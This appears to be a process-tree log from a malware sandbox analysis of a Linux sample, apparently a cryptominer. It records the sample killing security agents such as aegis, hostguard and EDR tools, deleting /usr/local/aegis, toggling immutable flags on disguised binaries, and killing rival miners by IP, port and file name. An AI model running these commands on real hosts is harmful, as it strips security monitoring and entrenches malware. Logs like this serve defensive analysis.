/bin/psps aux2⤵
- Discovers running processes
PID:904
-
-
/usr/bin/awkawk "{print \$11}"2⤵PID:907
-
-
/usr/bin/xargsxargs rm -rf2⤵PID:909
-
/usr/local/sbin/rmrm -rf3⤵PID:911
-
-
/usr/local/bin/rmrm -rf3⤵PID:911
-
-
/usr/sbin/rmrm -rf3⤵PID:911
-
-
/usr/bin/rmrm -rf3⤵PID:911
-
-
/sbin/rmrm -rf3⤵PID:911
-
-
/bin/rmrm -rf3⤵PID:911
-
-
-
/usr/bin/xargsxargs dirname2⤵PID:908
-
/usr/local/sbin/dirnamedirname3⤵PID:910
-
-
/usr/local/bin/dirnamedirname3⤵PID:910
-
-
/usr/sbin/dirnamedirname3⤵PID:910
-
-
/usr/bin/dirnamedirname3⤵PID:910
-
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:912
-
-
/bin/grepgrep edr2⤵PID:914
-
-
/bin/grepgrep -v grep2⤵PID:913
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:915
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵PID:916
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:917
-
-
/bin/grepgrep -v grep2⤵PID:918
-
-
/bin/grepgrep aegis2⤵PID:919
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:920
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵PID:921
-
-
/bin/grepgrep Yun2⤵PID:924
-
-
/bin/grepgrep -v grep2⤵PID:923
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:922
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:925
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵PID:926
-
-
/bin/grepgrep hids2⤵PID:929
-
-
/bin/grepgrep -v grep2⤵PID:928
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:927
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:930
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵PID:931
-
-
/bin/grepgrep -v grep2⤵PID:933
-
-
/bin/grepgrep edr2⤵PID:934
-
-
/bin/psps aux2⤵PID:932
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:935
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵PID:936
-
-
/bin/grepgrep -v grep2⤵PID:941
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:940
-
-
/bin/grepgrep cloudwalker2⤵PID:942
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:943
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵PID:944
-
-
/bin/grepgrep titanagent2⤵PID:947
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:948
-
-
/bin/grepgrep -v grep2⤵PID:946
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵
- Removes the immutable protection flag from a file
PID:949
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:945
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:950
-
-
/bin/grepgrep sgagent2⤵PID:952
-
-
/bin/grepgrep -v grep2⤵PID:951
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:953
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵PID:954
-
-
/bin/grepgrep barad_agent2⤵PID:957
-
-
/bin/grepgrep -v grep2⤵PID:956
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:955
-
-
/usr/bin/awkawk "{print \$2}"2⤵
- Reads runtime system information
PID:958
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵PID:959
-
-
/bin/grepgrep -v grep2⤵PID:961
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:963
-
-
/bin/psps aux2⤵PID:960
-
-
/bin/grepgrep hostguard2⤵PID:962
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵
- Removes the immutable protection flag from a file
PID:964
-
-
/bin/rmrm -rf /usr/local/aegis2⤵PID:965
-
-
/bin/sleepsleep 12⤵PID:966
-
-
/usr/bin/chattrchattr -i /usr/bin/ip6network2⤵
- Removes the immutable protection flag from a file
- System Network Configuration Discovery
PID:972
-
-
/usr/bin/chattrchattr -i /usr/bin/kswaped2⤵
- Removes the immutable protection flag from a file
PID:974
-
-
/usr/bin/chattrchattr -i /usr/bin/irqbalanced2⤵PID:975
-
-
/usr/bin/chattrchattr -i /usr/bin/rctlcli2⤵PID:977
-
-
/usr/bin/chattrchattr -i /usr/bin/systemd-network2⤵PID:979
-
-
/usr/bin/chattrchattr -i /usr/bin/pamdicks2⤵
- Removes the immutable protection flag from a file
PID:980
-
-
/usr/bin/chattrchattr +i /usr/bin/ip6network2⤵
- System Network Configuration Discovery
PID:983
-
-
/usr/bin/chattrchattr +i /usr/bin/kswaped2⤵PID:984
-
-
/usr/bin/chattrchattr +i /usr/bin/irqbalanced2⤵PID:985
-
-
/usr/bin/chattrchattr +i /usr/bin/rctlcli2⤵PID:986
-
-
/usr/bin/chattrchattr +i /usr/bin/systemd-network2⤵
- Removes the immutable protection flag from a file
PID:988
-
-
/usr/bin/chattrchattr +i /usr/bin/pamdicks2⤵PID:990
-
-
/bin/sleepsleep 12⤵PID:991
-
-
/bin/rmrm -f /tmp/.null2⤵PID:1006
-
-
/sbin/sysctlsysctl -w "vm.nr_hugepages=128"2⤵PID:1008
-
-
/bin/grepgrep 194.87.139.1032⤵PID:1011
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1012
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1014
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1013
-
-
/bin/grepgrep 185.71.65.2382⤵PID:1017
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1018
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1020
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1021
-
-
/bin/grepgrep 140.82.52.872⤵PID:1023
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1025
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1024
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1026
-
-
/bin/grepgrep :232⤵PID:1029
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1031
-
-
/bin/grepgrep -v -2⤵PID:1032
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1030
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1033
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1037
-
-
/bin/grepgrep :1432⤵PID:1036
-
-
/bin/grepgrep -v -2⤵PID:1039
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1040
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1038
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1044
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1043
-
-
/bin/grepgrep :22222⤵PID:1042
-
-
/bin/grepgrep -v -2⤵PID:1045
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1046
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1050
-
-
/bin/grepgrep :33332⤵PID:1048
-
-
/bin/grepgrep -v -2⤵PID:1051
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1049
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1052
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1055
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1056
-
-
/bin/grepgrep :33892⤵PID:1054
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1058
-
-
/bin/grepgrep -v -2⤵PID:1057
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1061
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1062
-
-
/bin/grepgrep :55552⤵PID:1060
-
-
/bin/grepgrep -v -2⤵PID:1063
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1064
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1067
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1068
-
-
/bin/grepgrep :66662⤵PID:1066
-
-
/bin/grepgrep -v -2⤵PID:1069
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1070
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1073
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1074
-
-
/bin/grepgrep :66652⤵PID:1072
-
-
/bin/grepgrep -v -2⤵PID:1075
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1076
-
-
/bin/grepgrep :66672⤵PID:1078
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1080
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1079
-
-
/bin/grepgrep -v -2⤵PID:1081
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1082
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1086
-
-
/bin/grepgrep :77772⤵PID:1084
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1085
-
-
/bin/grepgrep -v -2⤵PID:1087
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1088
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1091
-
-
/bin/grepgrep :84442⤵PID:1090
-
-
/bin/grepgrep -v -2⤵PID:1093
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1092
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1094
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1098
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1097
-
-
/bin/grepgrep :33472⤵PID:1096
-
-
/bin/grepgrep -v -2⤵PID:1099
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1100
-
-
/bin/grepgrep :100082⤵PID:1102
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1103
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1104
-
-
/bin/grepgrep -v -2⤵PID:1105
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1106
-
-
/bin/grepgrep :135312⤵PID:1109
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1110
-
-
/bin/grepgrep -v grep2⤵PID:1108
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1111
-
-
/bin/grepgrep :33332⤵PID:1114
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1115
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1116
-
-
/bin/grepgrep -v grep2⤵PID:1113
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
PID:1112
-
-
/bin/grepgrep :55552⤵PID:1119
-
-
/bin/grepgrep -v grep2⤵PID:1118
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1120
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1117
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1121
-
-
/bin/grepgrep "kworker -c\\"2⤵PID:1124
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1125
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1126
-
-
/bin/grepgrep -v grep2⤵PID:1123
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:1122
-
-
/bin/grepgrep log_2⤵PID:1129
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1130
-
-
/bin/grepgrep -v grep2⤵PID:1128
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1131
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1127
-
-
/bin/grepgrep systemten2⤵PID:1134
-
-
/bin/grepgrep -v grep2⤵PID:1133
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1135
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1136
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:1132
-
-
/bin/grepgrep netns2⤵PID:1139
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1140
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1141
-
/usr/local/sbin/killkill -9 103⤵
- Disables SELinux
PID:1142
-
-
/usr/local/bin/killkill -9 103⤵
- Disables SELinux
PID:1142
-
-
/usr/sbin/killkill -9 103⤵
- Disables SELinux
PID:1142
-
-
/usr/bin/killkill -9 103⤵
- Disables SELinux
PID:1142
-
-
/sbin/killkill -9 103⤵
- Disables SELinux
PID:1142
-
-
/bin/killkill -9 103⤵
- Disables SELinux
PID:1142
-
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
PID:1137
-
-
/bin/grepgrep -v grep2⤵PID:1138
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1146
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1147
-
-
/bin/grepgrep voltuned2⤵PID:1145
-
-
/bin/grepgrep -v grep2⤵PID:1144
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1143
-
-
/bin/grepgrep -v grep2⤵PID:1149
-
-
/bin/grepgrep darwin2⤵PID:1150
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1151
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1152
-
-
/bin/psps aux2⤵PID:1148
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1156
-
-
/bin/grepgrep /tmp/dl2⤵PID:1155
-
-
/bin/grepgrep -v grep2⤵PID:1154
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1157
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1153
-
-
/bin/grepgrep /tmp/ddg2⤵PID:1160
-
-
/bin/grepgrep -v grep2⤵PID:1159
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1161
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1162
-
-
/bin/psps aux2⤵PID:1158
-
-
/bin/grepgrep /tmp/pprt2⤵PID:1165
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1166
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1167
-
-
/bin/psps aux2⤵PID:1163
-
-
/bin/grepgrep -v grep2⤵PID:1164
-
-
/bin/grepgrep /tmp/ppol2⤵PID:1170
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1171
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1172
-
-
/bin/grepgrep -v grep2⤵PID:1169
-
-
/bin/psps aux2⤵PID:1168
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1177
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1176
-
-
/bin/grepgrep "/tmp/65ccE*"2⤵PID:1175
-
-
/bin/grepgrep -v grep2⤵PID:1174
-
-
/bin/psps aux2⤵PID:1173
-
-
/bin/grepgrep "/tmp/jmx*"2⤵PID:1180
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1181
-
-
/bin/grepgrep -v grep2⤵PID:1179
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1182
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1178
-
-
/bin/grepgrep "/tmp/2Ne80*"2⤵PID:1185
-
-
/bin/grepgrep -v grep2⤵PID:1184
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1187
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1186
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1183
-
-
/bin/grepgrep IOFoqIgyC0zmf2UR2⤵PID:1190
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1191
-
-
/bin/grepgrep -v grep2⤵PID:1189
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1192
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1188
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1196
-
-
/bin/grepgrep 45.76.122.922⤵PID:1195
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1197
-
-
/bin/grepgrep -v grep2⤵PID:1194
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1193
-
-
/bin/grepgrep 51.38.191.1782⤵PID:1200
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1201
-
-
/bin/grepgrep -v grep2⤵PID:1199
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1202
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1198
-
-
/bin/grepgrep 51.15.56.1612⤵PID:1205
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1206
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1207
-
-
/bin/grepgrep -v grep2⤵PID:1204
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1203
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1211
-
-
/bin/grepgrep 86s.jpg2⤵PID:1210
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1212
-
-
/bin/grepgrep -v grep2⤵PID:1209
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:1208
-
-
/bin/grepgrep aGTSGJJp2⤵PID:1215
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1216
-
-
/bin/grepgrep -v grep2⤵PID:1214
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1217
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1213
-
-
/bin/grepgrep nMrfmnRa2⤵PID:1220
-
-
/bin/grepgrep -v grep2⤵PID:1219
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1221
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1222
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1218
-
-
/bin/grepgrep PuNY5tm22⤵PID:1225
-
-
/bin/grepgrep -v grep2⤵PID:1224
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1227
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1223
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1226
-
-
/bin/grepgrep I0r8Jyyt2⤵PID:1230
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1231
-
-
/bin/grepgrep -v grep2⤵PID:1229
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1232
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
PID:1228
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1236
-
-
/bin/grepgrep AgdgACUD2⤵PID:1235
-
-
/bin/grepgrep -v grep2⤵PID:1234
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1237
-
-
/bin/psps aux2⤵PID:1233
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1241
-
-
/bin/grepgrep uiZvwxG82⤵PID:1240
-
-
/bin/grepgrep -v grep2⤵PID:1239
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1242
-
-
/bin/psps aux2⤵PID:1238
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1246
-
-
/bin/grepgrep hahwNEdB2⤵PID:1245
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1247
-
-
/bin/grepgrep -v grep2⤵PID:1244
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:1243
-
-
/bin/grepgrep BtwXn5qH2⤵PID:1250
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1251
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1252
-
-
/bin/grepgrep -v grep2⤵PID:1249
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1248
-
-
/bin/grepgrep 3XEzey2T2⤵PID:1255
-
-
/bin/grepgrep -v grep2⤵PID:1254
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1256
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1257
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:1253
-
-
/bin/grepgrep t2tKrCSZ2⤵PID:1260
-
-
/bin/grepgrep -v grep2⤵PID:1259
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1261
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1262
-
-
/bin/psps aux2⤵PID:1258
-
-
/bin/grepgrep HD7fcBgg2⤵PID:1265
-
-
/bin/grepgrep -v grep2⤵PID:1264
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1267
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1266
-
-
/bin/psps aux2⤵PID:1263
-
-
/bin/grepgrep zXcDajSs2⤵PID:1270
-
-
/bin/grepgrep -v grep2⤵PID:1269
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1271
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1272
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:1268
-
-
/bin/grepgrep 3lmigMo2⤵PID:1275
-
-
/bin/grepgrep -v grep2⤵PID:1274
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1276
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1277
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1273
-
-
/bin/grepgrep AkMK4A22⤵PID:1280
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1281
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1282
-
-
/bin/grepgrep -v grep2⤵PID:1279
-
-
/bin/psps aux2⤵PID:1278
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1286
-
-
/bin/grepgrep AJ2AkKe2⤵PID:1285
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1287
-
-
/bin/grepgrep -v grep2⤵PID:1284
-
-
/bin/psps aux2⤵PID:1283
-
-
/bin/grepgrep HiPxCJRS2⤵
- System Network Configuration Discovery
PID:1290
-
-
/bin/grepgrep -v grep2⤵PID:1289
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1291
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1292
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
PID:1288
-
-
/bin/grepgrep http_0xCC0302⤵
- Disables SELinux
PID:1295
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1296
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1297
-
-
/bin/grepgrep -v grep2⤵PID:1294
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
PID:1293
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:1298
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1302
-
-
/bin/grepgrep http_0xCC0312⤵PID:1300
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1301
-
-
/bin/grepgrep -v grep2⤵PID:1299
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1306
-
-
/bin/grepgrep http_0xCC0322⤵PID:1305
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1307
-
-
/bin/grepgrep -v grep2⤵PID:1304
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1303
-
-
/bin/grepgrep http_0xCC0332⤵PID:1310
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1311
-
-
/bin/grepgrep -v grep2⤵PID:1309
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1312
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1308
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1316
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1317
-
-
/bin/grepgrep C4iLM4L2⤵PID:1315
-
-
/bin/grepgrep -v grep2⤵PID:1314
-
-
/bin/psps aux2⤵PID:1313
-
-
/bin/grepgrep aziplcr72qjhzvin2⤵
- System Network Configuration Discovery
PID:1320
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1321
-
-
/bin/grepgrep -v grep2⤵PID:1319
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1322
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1318
-
-
/bin/grepgrep -v grep2⤵PID:1324
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:1323
-
-
/usr/bin/awkawk "{ if(substr(\$11,1,2)==\"./\" && substr(\$12,1,2)==\"./\") print \$2 }"2⤵PID:1325
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1326
-
-
/bin/grepgrep /boot/vmlinuz2⤵PID:1329
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1330
-
-
/bin/grepgrep -v grep2⤵PID:1328
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1331
-
-
/bin/psps aux2⤵PID:1327
-
-
/bin/grepgrep -v grep2⤵PID:1333
-
-
/bin/psps aux2⤵PID:1332
-
-
/bin/grepgrep i4b503a52cc52⤵PID:1334
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1335
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1336
-
-
/bin/grepgrep dgqtrcst23rtdi3ldqk322j22⤵PID:1339
-
-
/bin/grepgrep -v grep2⤵PID:1338
-
-
/bin/psps aux2⤵PID:1337
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1340
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1341
-
-
/bin/grepgrep 2g0uv7npuhrlatd2⤵PID:1344
-
-
/bin/grepgrep -v grep2⤵PID:1343
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1346
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1345
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1342
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1350
-
-
/bin/grepgrep nqscheduler2⤵PID:1349
-
-
/bin/grepgrep -v grep2⤵PID:1348
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1351
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1347
-
-
/bin/grepgrep rkebbwgqpl4npmm2⤵PID:1354
-
-
/bin/grepgrep -v grep2⤵PID:1353
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1355
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:1352
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1356
-
-
/bin/grepgrep -v aux2⤵PID:1359
-
-
/bin/grepgrep "]"2⤵PID:1360
-
-
/bin/grepgrep -v grep2⤵PID:1358
-
-
/usr/bin/awkawk "\$3>10.0{print \$2}"2⤵PID:1361
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1362
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
PID:1357
-
-
/bin/grepgrep 2fhtu70teuhtoh78jc5s2⤵PID:1365
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1366
-
-
/bin/grepgrep -v grep2⤵PID:1364
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1367
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:1363
-
-
/bin/grepgrep 0kwti6ut420t2⤵PID:1370
-
-
/bin/grepgrep -v grep2⤵PID:1369
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1371
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1372
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1368
-
-
/bin/grepgrep 44ct7udt0patws3agkdfqnjm2⤵PID:1375
-
-
/bin/grepgrep -v grep2⤵PID:1374
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:1373
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1376
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1377
-
-
/bin/grepgrep -v -2⤵PID:1381
-
-
/bin/grepgrep -v /2⤵PID:1380
-
-
/bin/grepgrep -v _2⤵PID:1382
-
-
/bin/grepgrep -v grep2⤵PID:1379
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1378
-
-
/usr/bin/awkawk "length(\$11)>19{print \$2}"2⤵PID:1383
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1384
-
-
/bin/grepgrep -v grep2⤵PID:1386
-
-
